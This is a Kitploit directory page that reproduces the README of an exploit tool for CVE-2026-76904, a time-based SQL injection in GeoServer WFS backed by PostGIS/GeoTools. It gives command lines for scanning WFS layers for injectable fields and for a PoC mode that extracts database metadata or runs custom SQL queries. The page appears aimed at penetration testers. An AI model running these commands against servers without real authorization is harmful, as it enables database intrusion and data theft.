Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-76904 — Python scripts for inventorying GeoServer WFS endpoints and verifying time-based SQL injection vulnerabilities in PostGIS/GeoTools, with a dedicated PoC mode for authorized testing. | Kitploit
Tools/GitHubGitHub/bickzero93/cve-2026-76904
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration Testing
GitHubbickzero93/cve-2026-76904

CVE-2026-76904

Python scripts for inventorying GeoServer WFS endpoints and verifying time-based SQL injection vulnerabilities in PostGIS/GeoTools, with a dedicated PoC mode for authorized testing.

View Repository
1 day agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

GeoServer WFS Inventory and Authorized Verification

This repository contains two Python scripts for investigating GeoServer WFS endpoints.

Overview

wfs_inventory.py

Purpose: Inventory layers, XSD fields, and WFS values, and optionally verify candidates via a time-based check.

Execution examples:

root@kitploit:~
python3 wfs_inventory.py --url https://HOST --valid-fields 4
root@kitploit:~
python3 wfs_inventory.py --url https://HOST --valid-fields 4 --sleep 1 --confirm-sleep 5 --candidate-scope auto --timing-result-type auto
root@kitploit:~
python3 wfs_inventory.py --url https://HOST --layer namespace:layer --sleep 1 --confirm-sleep 5 --valid-diagnose output.txt

geoserver_sqli_working.py

Purpose: Combined entry point for inventory as well as a separate PoC mode.

Execution examples:

root@kitploit:~
python3 geoserver_sqli_working.py --target https://HOST --valid-fields 4 --sleep 1 --confirm-sleep 5
root@kitploit:~
python3 geoserver_sqli_working.py --target https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD --sleep 5
root@kitploit:~
python3 geoserver_sqli_working.py --target https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD --sleep 5 --query "SELECT current_database()"

Important note: The time-based check and the PoC mode may only be used against systems for which explicit testing authorization has been granted. The normal inventory mode uses exclusively regular WFS operations.

Prerequisites

  • Python 3.10 or newer
  • No additional Python packages; both scripts use only the standard library
  • Network access to the WFS endpoint

Optionally make executable:

root@kitploit:~
chmod +x wfs_inventory.py geoserver_sqli_working.py

Quick Start

Search for candidates via regular WFS queries

root@kitploit:~
python3 wfs_inventory.py \
  --url https://HOST \
  --valid-fields 4

The default path /geoserver/wfs is appended automatically. The following specifications are therefore equivalent:

root@kitploit:~
https://HOST
https://HOST/geoserver
https://HOST/geoserver/wfs

For a non-standard installation, the full WFS path must be specified.

Verify candidates with a time-based check

Only for explicitly authorized systems:

root@kitploit:~
python3 wfs_inventory.py \
  --url https://HOST \
  --valid-fields 4 \
  --sleep 1

During the check, a measurement per candidate appears on stderr:

root@kitploit:~
[sleep-check] phase=screen typeName=namespace:layer field_name=FIELD resultType=hits baseline=0.120s test=1.128s delta=1.008s passed=true
[sleep-check] phase=confirm typeName=namespace:layer field_name=FIELD resultType=hits requested=3s baseline=0.118s test=3.125s delta=3.007s vulnerable=true

A passed screen is not yet a positive finding. Only when the second, longer measurement also passes is a parameter block output.

Write diagnostics to a file

root@kitploit:~
python3 wfs_inventory.py \
  --url https://HOST \
  --valid-fields 4 \
  --sleep 1 \
  --valid-diagnose output.txt

--valid-diagnose FILE automatically enables verbose diagnostics and writes them to the specified file.

Auto Mode Flow

The default auto mode processes the WFS information in this order:

  1. GetCapabilities is opened once:

    root@kitploit:~
    /geoserver/wfs?service=WFS&acceptVersions=2.0.0&request=GetCapabilities
    
  2. The XML response is streamed. As soon as a FeatureType/Name is found, the next typeName is determined.

  3. For this layer, DescribeFeatureType is immediately executed with version=2.0.0.

  4. The script extracts the XSD elements and selects string/JSON fields with ID- or number-like names.

  5. The candidate is checked depending on the invocation:

    • Without --sleep: Sample values must be syntactically valid JSON.
    • With --sleep N: A control request and a time-based test request are measured. The JSON value check is skipped in this case.
  6. The result is output immediately and flushed.

  7. Only then is the next typeName read from the ongoing GetCapabilities response.

This means a large GetCapabilities response does not need to be fully processed before the first result appears.

Criteria for field candidates

Without --sleep, the automatic mode by default considers string/JSON fields with ID- or number-like names.

With --sleep, --candidate-scope auto instead uses all simple non-geometry fields. XSD type and ID name patterns no longer block the timing check. This prevents false negatives for numeric, date/boolean, or vendor-specific XSD types.

Recognized name patterns include, among others:

root@kitploit:~
id
*_id
*_fid
nr_*
*_nr
*nummer*
fid
uuid
guid
key
objectid

For the time-based check, the field name must additionally be a simple identifier in the format [A-Za-z_][A-Za-z0-9_]*.

Difference between JSON and sleep check

Without --sleep, it is checked whether the observed values can be syntactically interpreted as JSON. Therefore, for example, the string "383205" also counts as a candidate because its content represents a valid JSON number. This check is a heuristic and not proof of vulnerability.

With --sleep 1, only the time measurement decides. A candidate is considered positive by default if the test request takes at least 70 percent of the requested sleep time in addition to the control request. --timing-result-type auto first checks resultType=hits and, in the event of a negative result, subsequently resultType=results.

Provisionally positive measurements are mandatorily confirmed with a longer sleep time. Without an explicit --confirm-sleep, the script uses max(3, --sleep * 3), capped at 10 seconds. This means a single latency spike with --sleep 1 no longer leads to vulnerable=true.

Compact Output

The standard output contains one block per valid layer:

root@kitploit:~
typeName=namespace:layer
field_name1=FIELD_A
parameter_string1=https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD_A
field_name2=FIELD_B
parameter_string2=https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD_B

parameter_stringN contains the normalized WFS endpoint and the matching values for --typename and --field_name.

--valid-fields N counts layer blocks, not individual fields. If fewer than N valid layers exist, the remaining catalog continues to be examined. --max-layers can be used to limit the maximum runtime.

Verbose Diagnostics

The options --diagnose or --valid-diagnose FILE additionally include:

  • normalized WFS endpoint,
  • used GetCapabilities URL,
  • DescribeFeatureType URL,
  • XSD field types,
  • ID and usability flags,
  • number of samples checked,
  • JSON compatibility or timing measurements,
  • generated GetFeature URL and
  • copyable parameter strings.

Example:

root@kitploit:~
python3 wfs_inventory.py \
  --url https://HOST \
  --valid-fields 10 \
  --valid-diagnose diagnose.txt

Additional Inventory Modes

List all layers

root@kitploit:~
python3 wfs_inventory.py \
  --url https://HOST \
  --mode layers

Restrict to a namespace:

root@kitploit:~
python3 wfs_inventory.py \
  --url https://HOST \
  --mode layers \
  --namespace fink

Display XSD fields of a layer

root@kitploit:~
python3 wfs_inventory.py \
  --url https://HOST \
  --mode fields \
  --layer namespace:layer

Each field is output as a JSON object with name, XSD type, nillable, id_candidate, and usable_property.

Export values of selected fields

root@kitploit:~
python3 wfs_inventory.py \
  --url https://HOST \
  --mode values \
  --layer namespace:layer \
  --field FIELD_A \
  --field FIELD_B \
  --max-features 100 \
  --format jsonl \
  --output values.jsonl

Export all properties:

root@kitploit:~
python3 wfs_inventory.py \
  --url https://HOST \
  --mode values \
  --layer namespace:layer \
  --all-properties \
  --max-features 100

With --unique, identical combinations of selected field values are output only once.

Parameters of wfs_inventory.py

ParameterDefaultMeaning
--url URLrequiredHost, GeoServer base, or full WFS endpoint
--mode auto|layers|fields|valuesautoOperating mode to execute
--layer NAMESPACE:LAYER–Restrict auto mode to one feature type; required for fields and values
--namespace PREFIX–Only consider layers with this namespace prefix
--capabilities-file FILE–Use a local GetCapabilities response instead of a download
--field NAMErepeatableProperty to export in values mode
--all-propertiesoffExport all properties in values mode
--uniqueoffSuppress duplicate field value combinations
--page-size N500Features per GetFeature page; range 1 to 5000
--sample-size N5Sample values per layer for the JSON syntax check; range 1 to 100
--sleep SECONDS0Enable time-based verification; allowed are 0 or 1 to 10 seconds
--candidate-scope auto|id|allautoCandidate selection; auto uses ID fields without sleep and all non-geometry fields with sleep
--timing-result-type auto|hits|resultsautoQuery path of the timing check; auto tries hits, then results
--sleep-threshold RATIO0.7Required proportion of the sleep time; range 0.5 to 1.0

Combined Entry Point

geoserver_sqli_working.py can call the inventory function directly. As soon as --valid-fields is specified, only the inventory is executed and the program then exits.

Inventory via the combined script

root@kitploit:~
python3 geoserver_sqli_working.py \
  --target https://HOST \
  --valid-fields 4 \
  --sleep 1 \
  --valid-diagnose output.txt

Internally, the following parameters are passed to wfs_inventory.py:

root@kitploit:~
--target         -> --url
--valid-fields   -> --valid-fields
--valid-diagnose -> --valid-diagnose
--sleep          -> --sleep
--candidate-scope -> --candidate-scope
--timing-result-type -> --timing-result-type
--sleep-threshold -> --sleep-threshold
--confirm-sleep -> --confirm-sleep

Without an explicit --sleep, the time-based check remains disabled in inventory mode.

Separate PoC mode

Only for explicitly authorized test systems:

root@kitploit:~
python3 geoserver_sqli_working.py \
  --target https://HOST/geoserver/wfs \
  --typename namespace:layer \
  --field_name FIELD \
  --sleep 5

In PoC mode, the target path is not automatically normalized. Here, the full WFS endpoint should be specified.

The mode first performs a baseline/sleep test, then tests the available time-based oracle variants, and upon successful confirmation reads server/database metadata by default. With --query, a custom scalar query can be specified instead.

The PoC mode currently disables TLS certificate verification internally. For a pure inventory, wfs_inventory.py should preferably be used, since TLS is verified by default there.

Parameters of geoserver_sqli_working.py

ParameterDefaultMeaning
--target URLrequiredTarget host or WFS endpoint; use full WFS path in PoC mode
--typename NAMEfink_bku:fink_meta_mitte_suedwestFeature type for PoC mode
--field_name NAMErequired in PoC modeSimple XSD field name for jsonArrayContains
--field-name NAMEaliasAlias for --field_name
--valid-fields N–Enable inventory mode and stop after N valid layers
--valid-diagnose FILE–Write verbose inventory report to FILE; requires --valid-fields
--sleep SECONDSPoC: 5, inventory: offSleep duration of the respective mode
--candidate-scope auto|id|allautoCandidate selection in inventory mode
--timing-result-type auto|hits|resultsautoTiming query path in inventory mode
--sleep-threshold RATIO0.7Timing threshold in inventory mode
--confirm-sleep SECONDSautomaticConfirmation sleep in inventory mode
--query SQL–Custom scalar query in PoC mode
--debugoffDisplay conditions, runtimes, and decisions in PoC mode

JSONL Report

The auto mode can generate JSON Lines instead of text blocks:

root@kitploit:~
python3 wfs_inventory.py \
  --url https://HOST \
  --valid-fields 10 \
  --report-format jsonl \
  --output report.jsonl

With --diagnose, each record additionally contains URLs, candidate metadata, check values, and field-specific GetFeature URLs.

Proxy and TLS

Use a proxy:

root@kitploit:~
python3 wfs_inventory.py \
  --url https://HOST \
  --proxy http://127.0.0.1:8080 \
  --valid-fields 4

Trust a custom proxy CA:

root@kitploit:~
python3 wfs_inventory.py \
  --url https://HOST \
  --proxy http://127.0.0.1:8080 \
  --proxy-ca proxy-ca.pem \
  --valid-fields 4

Disable TLS verification for an authorized test system:

root@kitploit:~
python3 wfs_inventory.py \
  --url https://HOST \
  --insecure \
  --valid-fields 4

--proxy-ca and --insecure cannot be used together.

Large WFS Catalogs and Performance

For large GetCapabilities responses, the following options help:

root@kitploit:~
python3 wfs_inventory.py \
  --url https://HOST \
  --valid-fields 4 \
  --max-layers 100 \
  --sample-size 1 \
  --timeout 10 \
  --retries 0 \
  --delay 0

Notes:

  • GetCapabilities is requested only once and then streamed.
  • --valid-fields 4 ends the scan only after four valid layers. If fewer hits exist, the search runs to the end or until --max-layers.
  • --sample-size 1 reduces the effort of the JSON heuristic.
  • In sleep mode, the JSON sample is skipped. Per query path, one control and one test request are made. With --timing-result-type auto, after a negative hits result, two additional results requests are executed.
  • A provisionally positive candidate causes two additional requests for the scaled confirmation. Only then is it considered vulnerable.
  • --candidate-scope id reduces the number of timing requests but can miss vulnerable fields with other names.
  • --namespace and --start-layer-index can further limit the search space.

Troubleshooting

The read operation timed out

  • Increase --timeout if the server responds slowly.
  • Set --retries 0 to avoid long retries.
  • Use --max-layers and --namespace.
  • Use --sample-size 1 for the JSON heuristic.

No output

  • Without --sleep, candidates must pass the XSD/name check and the JSON syntax check depending on --candidate-scope.
  • With --sleep, only time-confirmed candidates are output as a parameter block; negative measurements appear as [sleep-check] on stderr.
  • If fewer than the desired number of hits exist, the scan can continue for a long time. In this case, set --max-layers.

Cannot do natural order without a primary key

For the first GetFeature page, the script does not send startIndex=0, since some GeoServer/JDBC layers without a primary key already force a natural sort order this way. When exporting further pages, such a layer may still require a primary key or a server-side supported sort order.

schema does not define ...Type

The script considers both the usual <LayerName>Type and a deviating complexType referenced in the global XSD layer element or an anonymous one. If the error persists, the relevant DescribeFeatureType response should be examined with --diagnose.

HTTP 400 during sample check

The full OWS error message is output to stderr. Common causes are unsupported properties, server-side paging defaults, or a layer-specific data source configuration.

Help Directly in the Terminal

root@kitploit:~
python3 wfs_inventory.py --help
python3 geoserver_sqli_working.py --help
Download Tool
--confirm-sleep SECONDS0/automaticConfirmation sleep; 0 uses at least 3× the first sleep time, range 1 to 10
--start-layer-index N0Skip the first N streamed layers
--max-layers N0Process at most N layers; 0 means unlimited
--valid-fields N0Stop after N valid layer blocks; 0 means unlimited
--valid NaliasBackward-compatible alias for --valid-fields
--max-features N0Stop after N features in values mode; 0 means unlimited
--format jsonl|csv|textjsonlOutput format in values mode
--output FILEstdoutWrite report or values to a file
--report-format blocks|jsonlblocksFormat of the auto report
--diagnoseoffAdd URLs, types, selection flags, and check statistics
--valid-diagnose FILE–Enable diagnostics and write directly to FILE
--delay SECONDS0.1Pause between result/check steps
--timeout SECONDS30Timeout per HTTP request
--retries N2Retries after timeout or network error; range 0 to 10
--proxy URL–HTTP(S) proxy, for example http://127.0.0.1:8080
--proxy-ca FILE–PEM CA certificate to trust a proxy certificate
--insecureoffDisable TLS certificate verification
--authorization TEXTI_AM_AUTHORIZEDSecurity confirmation; must be exactly I_AM_AUTHORIZED